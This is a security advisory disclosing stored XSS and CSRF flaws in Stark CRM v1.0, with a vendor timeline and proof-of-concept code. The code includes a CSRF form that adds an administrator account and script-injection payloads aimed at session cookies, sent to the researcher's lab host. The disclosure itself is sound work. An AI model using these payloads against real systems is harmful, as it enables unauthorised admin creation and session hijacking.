Gjoko KrsticZSL-2014-5169Stark CRM v1.0 Multiple Script Injection And Session Riding Vulnerabilities
6.8 Medium
CVSS2
Attack Vector
NETWORK
Attack Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:M/Au:N/C:P/I:P/A:P
6.2 Medium
AI Score
Confidence
High
0.017 Low
EPSS
Percentile
87.7%
Title: Stark CRM v1.0 Multiple Script Injection And Session Riding Vulnerabilities
Advisory ID: ZSL-2014-5169
Type: Local/Remote
Impact: Cross-Site Scripting
Risk: (3/5)
Release Date: 20.02.2014
Summary
This is a light weight CRM which simplifies process of managing staff, client and projects.
Description
Multiple stored XSS and CSRF vulnerabilities exist when parsing user input to several POST parameters. The application allows users to perform certain actions via HTTP requests without performing any validity checks to verify the requests. This can be exploited to perform certain actions with administrative privileges if a logged-in user visits a malicious web site and/or execute arbitrary HTML and script code in a user’s browser session.
Vendor
IWCn Systems Inc. - <http://www.iwcn.ws>
Affected Version
1.0
Tested On
Nginx, PHP, MySQL
Vendor Status
[03.02.2014] Vulnerabilities discovered.
[07.02.2014] Vendor notified with sent details.
[07.02.2014] Vendor confirms issues, started developing patch.
[17.02.2014] Asked vendor for status update.
[19.02.2014] No response from the vendor.
[20.02.2014] Public security advisory released.
PoC
Credits
Vulnerability discovered by Gjoko Krstic - <[email protected]>
References
[1] <http://www.exploit-db.com/exploits/31792/>
[2] <http://cxsecurity.com/issue/WLB-2014020174>
[3] <http://packetstormsecurity.com/files/125331>
[4] <http://www.securityfocus.com/bid/65710>
[5] <http://osvdb.org/show/osvdb/103588>
[6] <http://osvdb.org/show/osvdb/103589>
[7] <http://osvdb.org/show/osvdb/103590>
[8] <http://osvdb.org/show/osvdb/103591>
[9] <http://osvdb.org/show/osvdb/103592>
[10] <http://secunia.com/advisories/57048/>
[11] <http://cve.mitre.org/cgi-bin/cvename.cgi?name=2014-10008>
[12] <http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-10008>
[13] <http://xforce.iss.net/xforce/xfdb/91268>
[14] <http://xforce.iss.net/xforce/xfdb/91267>
[15] <http://cve.mitre.org/cgi-bin/cvename.cgi?name=2014-10009>
[16] <http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-10009>
Changelog
[20.02.2014] - Initial release
[21.02.2014] - Added reference [3]
[22.02.2014] - Added reference [4], [5], [6], [7], [8] and [9]
[28.02.2014] - Added reference [10]
[26.01.2015] - Added reference [11], [12], [13], [14], [15] and [16]
Contact
Zero Science Lab
Web: <http://www.zeroscience.mk>
e-mail: [email protected]
<html><body><p>Stark CRM v1.0 Multiple Script Injection And Session Riding Vulnerabilities
Vendor: IWCn Systems Inc.
Product web page: http://www.iwcn.ws
Affected version: 1.0
Summary: This is a light weight CRM which simplifies process
of managing staff, client and projects.
Desc: Multiple stored XSS and CSRF vulnerabilities exist when
parsing user input to several POST parameters. The application
allows users to perform certain actions via HTTP requests without
performing any validity checks to verify the requests. This
can be exploited to perform certain actions with administrative
privileges if a logged-in user visits a malicious web site and/or
execute arbitrary HTML and script code in a user's browser session.
Tested on: Nginx, PHP, MySQL
Vulnerabilities discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience
Advisory ID: ZSL-2014-5169
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2014-5169.php
03.02.2014
--
CSRF (Add Admin):
################
<!--
http://lab17.zeroscience.mk/testing/index.php?page=admin - Add Admin
http://lab17.zeroscience.mk/testing/index.php?page=agent - Add Agent
http://lab17.zeroscience.mk/testing/index.php?page=sub_agent - Add Sub-Agent
http://lab17.zeroscience.mk/testing/index.php?page=partner - Add Partner
http://lab17.zeroscience.mk/testing/index.php?page=client - Add Client
-->
</p>
<form action="http://lab17.zeroscience.mk/testing/index.php?page=admin" method="POST">
<input name="first_name" type="hidden" value="Admin101"/>
<input name="last_name" type="hidden" value="Admin202"/>
<input name="comp_name" type="hidden" value="Zero Science Lab"/>
<input name="email" type="hidden" value="[email protected]"/>
<input name="pwd" type="hidden" value="123456"/>
<input name="phonep" type="hidden" value="(111) 111-1111"/>
<input name="phoneg" type="hidden" value="(111) 111-1111"/>
<input name="notes" type="hidden" value="Testing2 Address 101"/>
<input name="zip" type="hidden" value="11111"/>
<input name="ahv" type="hidden" value="11111"/>
<input name="date" type="hidden" value="03.02.2014"/>
<input name="gender" type="hidden" value="female"/>
<input name="f_status" type="hidden" value="Married"/>
<input name="detail" type="hidden" value="Testing3 personal detailz"/>
<input name="submit" type="hidden" value=""/>
<input type="submit" value="Submit form"/>
</form>
Stored XSS (parameter: name):
############################
POST /testing/index.php?page=add_ticket HTTP/1.1
Host: lab17.zeroscience.mk
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:27.0) Gecko/20100101 Firefox/27.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://lab17.zeroscience.mk/testing/index.php?page=add_ticket
Cookie: PHPSESSID=51422dfc2ef2d3569e778d06d20c7a25
Connection: keep-alive
Content-Type: multipart/form-data; boundary=---------------------------94321629522129
Content-Length: 592
-----------------------------94321629522129
Content-Disposition: form-data; name="name"
"><script>alert(1);</script>
-----------------------------94321629522129
Content-Disposition: form-data; name="project"
1
-----------------------------94321629522129
Content-Disposition: form-data; name="description"
ZSL
-----------------------------94321629522129
Content-Disposition: form-data; name="file"; filename=""
Content-Type: application/octet-stream
-----------------------------94321629522129
Content-Disposition: form-data; name="submit"
-----------------------------94321629522129--
Stored XSS (parameters: first_name, last_name, notes):
#####################################################
<form action="http://lab17.zeroscience.mk/testing/index.php?page=client" method="POST">
<input name="first_name" type="hidden" value='"><script>alert(document.cookie);</script>'/>
<input name="last_name" type="hidden" value='"><script>alert(document.cookie);</script>'/>
<input name="comp_name" type="hidden" value="Zero Science Lab"/>
<input name="email" type="hidden" value="[email protected]"/>
<input name="pwd" type="hidden" value="test"/>
<input name="phonep" type="hidden" value="(111) 111-1111"/>
<input name="phoneg" type="hidden" value="(111) 111-1111"/>
<input name="notes" type="hidden" value='"><script>alert(document.cookie);</script>'/>
<input name="zip" type="hidden" value="00000"/>
<input name="ahv" type="hidden" value="test2"/>
<input name="date" type="hidden" value="03.02.2014"/>
<input name="gender" type="hidden" value="male"/>
<input name="f_status" type="hidden" value="Single"/>
<input name="detail" type="hidden" value="test"/>
<input name="submit" type="hidden" value=""/>
<input type="submit" value="Submit form"/>
</form>
Stored XSS (parameters: insu_name, price):
#########################################
<form action="http://lab17.zeroscience.mk/testing/index.php?page=add_insurance_cat" method="POST">
<input name="insu_name" type="hidden" value='"><script>alert(document.cookie);</script>'/>
<input name="price" type="hidden" value='"><script>alert(document.cookie);</script>'/>
<input name="submit" type="hidden" value=""/>
<input type="submit" value="Submit form"/>
</form>
Stored XSS (parameter: status[]):
################################
<form action="http://lab17.zeroscience.mk/testing/index.php?page=add_status" method="POST">
<input name="status[]" type="hidden" value='"><script>alert(document.cookie);</script>'/>
<input name="submit" type="hidden" value=""/>
<input type="submit" value="Submit form"/>
</form>
</body></html>Related
6.8 Medium
CVSS2
Attack Vector
NETWORK
Attack Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:M/Au:N/C:P/I:P/A:P
6.2 Medium
AI Score
Confidence
High
0.017 Low
EPSS
Percentile
87.7%